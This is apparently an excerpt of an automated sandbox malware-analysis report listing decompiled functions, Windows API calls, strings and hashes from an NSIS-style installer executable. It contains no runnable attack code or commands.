Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$Call$N$open
API String ID: 3615053054-4184941720
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\________.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

%ls=%ls, xrefs: 00405C76
NUL, xrefs: 00405C12
p]B, xrefs: 00405C0D
peB, xrefs: 00405C57
[Rename], xrefs: 00405CEA, 00405CFC

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 0040617E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\________.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,"C:\Users\user\Desktop\________.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 00406208

Strings

*?|<>/":, xrefs: 004061D0
C:\Users\user\AppData\Local\Temp\, xrefs: 0040617F, 00406184
"C:\Users\user\Desktop\________.exe", xrefs: 004061C2

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\________.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2032017099
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nshD4CB.tmp, xrefs: 00402528
C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nshD4CB.tmp$C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll
API String ID: 1453599865-1025895127
Opcode ID: ba053f0344776bd3916354cbd0a68f7896d065c86eb027949be49280e87f23d6
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: ba053f0344776bd3916354cbd0a68f7896d065c86eb027949be49280e87f23d6
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(00000000,00000064,00000327), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Strings

Times New Roman, xrefs: 00401DA2

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
